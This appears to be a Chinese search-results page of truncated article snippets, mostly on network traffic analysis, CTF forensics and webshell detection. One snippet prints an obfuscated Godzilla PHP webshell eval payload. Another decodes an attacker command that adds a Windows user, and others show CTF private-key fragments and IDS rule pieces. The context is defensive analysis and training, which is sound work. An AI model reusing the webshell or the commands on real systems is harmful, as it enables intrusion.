- 综合排序
- 最热优先
- 最新优先
- 来自专栏全栈程序员必看
NetFlow流量分析
NetFlow是基于流的流量分析技术，其中每条流主要包含以下字段：源IP地址、目的IP地址、源端口号、目的端口号、IP协议号、服务类型、TCP标记、字节数、接口号等。 NetFlow是一个轻量级的分析工具，他只读取了报文中的一些重要字段不包含原始数据，并不属于全流量分析。 NetFlow网络异常流量分析 NetFlow流记录的主要信息和功能： who：源IP地址 when：开始时间、结束时间 where：源IP地址、源端口号、目标IP地址、目标端口号（访问路径） what
1.4K10编辑于 2022-08-23 - 来自专栏红蓝对抗
哥斯拉流量分析
这是webshell流量分析哥斯拉篇 朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦 原文链接:先知 https://xz.aliyun.com 在一句话木马的情况下，哥斯拉4.0.1在check包中会有两个传参分别是一句话设置的密码与在客户端设置的密钥 eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD $key),16); // 输出密钥的 MD5 后半部分 根据代码可以看出来 最后的输出结构是这样72a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488 +fdVEo1jjWRNKQxEuKwhPyoaGN6nzM/qnGEKu7IL6uQg9CYD3jMcePZIYbIEpoStF3vRh3+u+MQf/lLz+C/hCaiTVsQUoy+el1YoEYhcgl9Ul5GTAex4MudPg1TRqTL8YGXcEdcAPldst2JOUr6wz0eOpAwObTplbpacC8SAJkba7fTMSoRImwqlZ6IGTebS7Z987pja9Z9 +veZNlHQ9y0XBjrWjSoTOltoQbU3tm32EMQiBBIJt2Yulv9craTyUtRCLtjhR2t5SwMDGgyy84cHn/1qM3RXTsaw2umpLNiRVms5uYPElhEsh8v3gh
1.3K10编辑于 2024-05-06 - 来自专栏全栈程序员必看
流量分析入门
前言 个人一直对CTF比赛中MISC中流量分析这一块感兴趣…但好像之前参加的培训没有涉及到。 正好看到了一些相关书籍资料，自己向前辈们学习以后整理一些资料来总结一下（本人是个很菜…还没入门的pwn手） 互联网五层模型 在计算机网络这门课中介绍了OSI模型及互联网五层模型： 在我们使用抓包软件进行流量分析的时候 在虚拟机中运行（注意给的病毒啥的最好在虚拟机里运行），然后看是一个helloworld的程序 打开wireshark进行分析，搜索字符串flag{ 得到flag： 结语 这是一篇偏向入门的流量分析总结
73810编辑于 2022-08-14 - 来自专栏一己之见安全团队
浅尝流量分析
流量分析是安服仔们必备的一个技能，up其实接触的全流量设备不多，也就用过科莱的，产品级的全流量设备最大的特征就是简化了很多查询语句和查询条件，以及优化了界面、逻辑等，这次虽然是用小鲨鱼来展示，就不具体到查询语句上了 以上两个例子简单的给出一点思考空间而已，毕竟只是初入流量分析，更重要的是学会怎么使用设备，以下就大致给出流量分析的步骤供各位师傅参考。 大总结： 总的来说全流量分析设备确实是个好东西，初入浅尝流量分析基本是以健全的安全拓扑为前提，综合利用而已，主要为掌握攻击行为的具体数据流向和特征，这里小师傅们想深度联系的推荐去各大靶场找流量分析的包打一打
39310编辑于 2024-05-17 - 来自专栏科研菌
28个样本，4种不同分析方法的比较发了9分？
图1：HLA分型表现 移除28例样本中低表达的两例HLA基因的样本后，从RNA-seq数据中提取4位分辨率的 HLA分型的OptiType的准确性提高为98.72%，表明HLA基因的低表达可能降低 图2：测序深度对准确性的影响 3、不同样本类型和计算机模拟后的准确性比较 将来自肿瘤组织和对照PBMC样本的WES数据的HLA 分型准确性比较(图a )，发现正常PBMC样本的准确性结果大多高于肿瘤组织 因此，建议最好使用正常样本进行HLA分型。 在计算机模拟中（图b），随着读取HLA基因区域的减少，OptiType的分型错误增加。 虽然出现分型错误，但正常样本HLA 分型的准确性仍高于肿瘤组织。 ? 图3：不同样本类型和计算机模拟后的准确性比较 小结 本篇文章的研究思路和过程较为简单，作者对28例癌症患者进行FFPE肿瘤组织和匹配正常样本的全外显子测序和肿瘤样本的RNA测序。
1.7K30发布于 2020-11-23 - 来自专栏全栈程序员必看
wireshark流量分析实战
下面是在网上找的数据包资源，来自2018的铁人三项流量分析题目，一共有二十题，共有六个数据包，本人习惯一题一题来，不过可能是个很不好的习惯 1.黑客的IP是多少 很明显这也是我们平常干的事情phpinfo 黑客需要以攻克的1.99来作为跳板来访问2.88的ftp服务器，设置过滤器 ftp && ip.src == 192.168.1.99 黑客经过爆破之后拿到密码123456，用户名为administrator 9.
1.9K32编辑于 2022-08-12 - 来自专栏zhangdd.com
流量分析常见指标
流量分析常见指标 1)基础分析（PV,IP,UV） Ø 趋势分析：根据选定的时段，提供网站流量数据，通过流量趋势变化形态，为您分析网站访客的访问规律、网站发展状况提供参考。
1.1K10发布于 2018-08-01 BUUCTF 流量分析 1
密文： 下载附件解压，得到流量分析.pcap和流量分析.txt 解题思路： 1、先看流量分析.txt，看hint二去pcap包里找“KEY”。 流量分析 200pt 提示一：若感觉在中间某个容易出错的步骤，若有需要检验是否正确时，可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c 提示二：注意补齐私钥格式 -- /y4 QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/ QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+ goe/45d6A2ewO/lYH6dDZTAzTW9z9 kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN +04eTWQCmH3haeQ
1.5K10编辑于 2025-10-14- 来自专栏生信小驿站
R 数据质量分析①
数据质量分析 数据质量分析是数据挖掘中数据准备的最重要一环，是数据处理的前体。数据质量分分析主要任务是识别脏数据。 FALSE [4,] FALSE FALSE [5,] FALSE FALSE [6,] FALSE FALSE [7,] FALSE FALSE [8,] FALSE FALSE [9, 即：要有足够的样本量，并且删除缺失值后不会有大的偏差！
1.4K10发布于 2018-08-27 - 来自专栏全栈程序员必看
产品流量分析
这次和大家分享一下最近对流量分析的一些理解。 流量是产品获得用户的第一步，没有流量就没有转化与营收。对于流量的分析在产品日常运营效果监控中有着非常重要意义。
98430编辑于 2022-09-05 - 来自专栏AI科技评论
9行代码提高少样本学习泛化能力 | ICLR2021 Oral
在本文中我们尝试从数据分布估计的角度去缓解少样本学习中的过拟合现象。我们尝试利用一个样本去估计该类别的整体数据分布，如果该分布估计足够准确，也许可以弥合少样本学习和传统多样本学习的差距。 ? 然后在进行少样本分类时我们利用base class的分布先验去修正少样本类别的数据分布： ? ? 得到修正后的少样本类别的分布 ? 和 ? 后，我们便可以从修正后的分布中直接采样： ? 代码已开源，核心代码只有9行（evaluate_DC.py中的第10-19行）。 我们的方法搭配最简单的线性分类器便可以达到非常高的1-shot分类性能。实验结果如图： ? ? ? 4 总结 在本工作中我们思考了少样本学习和多样本学习的核心差距，并提出通过分布矫正（估计）的方式弥合这种差距。 在该工作的后续期刊拓展版本中我们从generalization error bound的角度为‘基于数据分布估计的少样本学习’这一类方法建立了理论框架，并证明了当数据分布足够准确时，少样本学习和多样本学习的泛化误差等价
97420发布于 2021-01-25 - 来自专栏乐沙弥的世界
Oracle 索引质量分析
下面给出了演示以及索引创建的基本指导原则，最后给出了索引质量分析脚本。 该列是否经常使用“ = ”作为常用查询条件 列上的离散度 组合列经常按何种顺序排序 哪些列会作为附件性列被添加 3、索引质量分析脚本 FORMAT a25 HEADING 'Index' COLUMN num_rows FORMAT 999G999G990 HEADING 'Table|Rows' COLUMN MB FORMAT 9G990 HEADING 'Index|Size MB' COLUMN blocks HEADING 'Table|Blocks' COLUMN num_blocks FORMAT 9G990 HEADING specified table set linesize 180 col cl_nam format a20 col table_name format a25 col cl_pos format 9
97210发布于 2018-08-13 - 来自专栏简言之
CTF-流量分析总结
流量分析经典题型 CTF题型主要分为流量包修复、数据提取、WEB流量包分析、USB流量包分析、无线密码破解和工控流量包分析等等。 所以可以断定作案时间点在这段时间内 在此期间，一共4个POST请求，我们挨个查看，果不其然，在第一个POST中就发现了问题 Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0= 解码后 cd/d"C:\phpStudy\WWW\b2evolution\install\test\" :38.482420 2.黑客在内网主机中添加的用户名和密码是多少 kaka:kaka 3.黑客从内网服务器中下载下来的文件名 lsass.exe_180208_185247.dmp 参考： CTF流量分析之 wireshark使用 CTF流量分析之题型深度解析 CTF| 吃个鸡，一起破流量分析题吧！
6K32编辑于 2022-12-29 - 来自专栏devops探索
linux下流量分析工具
在日常的运维工作中，我们经常需要去关注网卡流量的使用情况，看是否处于正常的使用范围内，如果入网或者出网有异常升高或者降低，我们都要及早的去发现，来进行评估是否处于异常状态，而去发现这个异常，就需要我们熟悉常用的流量分析查看工具 : 使端口信息默认直接显示端口号 -F: 显示特定网段的进出流量，例如：iftop -F 10.10.1.0/24 进入iftop界面后的命令操作： 1 2 3 4 5 6 7 8 9 它们可以单独或者一起使用 例如监控网卡情况： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 sar -n 每秒钟接收的压缩数据包 txcmp/s：每秒钟发送的压缩数据包 rxmcst/s：每秒钟接收的多播数据包 监控CPU #每10秒采样依次，连续采样3次 1 2 3 4 5 6 7 8 9 查看二进制文件test中的内容 1 sar -u -f test 监控内存： #每10秒采样一次，连续采样3次，监控内存分页 1 2 3 4 5 6 7 8 9 10 11 12 13
4.8K40发布于 2020-07-31 - 来自专栏全栈程序员必看
网络流量分析
网络流量分析 具体要求 收集自己本机的网络流量数据（至少1小时）并进行数据显示。 可用wireshark软件抓包 网络流量大小的时序图，可按每半分钟、每分钟、每五分钟、每十分钟进行分别显示。
1.8K10编辑于 2022-08-11 - 来自专栏FreeBuf
DNS隧道流量分析
/[\x60\x08][a-zA-Z0-9]{59}/";threshold: type limit,track by_src, count 100, seconds 60;classtype:dns; seconds 10;classtype:dns; sid:2010003; rev:1;) 结尾 小白水文，求大神放过 pcap包下载地址： 链接：https://pan.baidu.com/s/1R9IhfxI285QMLGwjh_gQVw
3.3K10发布于 2019-10-10 - 来自专栏全栈程序员必看
USB流量分析「建议收藏」
", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9" ='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!
1.6K30编辑于 2022-09-05 状态监控与流量分析
作用：显示和操作路由、网络设备、接口等网络配置信息，功能比ifconfig更强大。
50700编辑于 2025-03-17- 来自专栏刘君君
管程和信号量分析
管程也被称为监视器，指的是通过管理共享变量以及对共享变量的操作过程，实现了在一个时间点，最多只有一个线程在执行(线程安全的，支持并发)。
1.9K30发布于 2020-02-10 - 来自专栏网络安全【故里】
流量分析之题型解析
先做一下第一届 “百度杯” 信息安全攻防总决赛里面的find the flag的这个题，文件地址放这了。
38610编辑于 2023-04-16
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号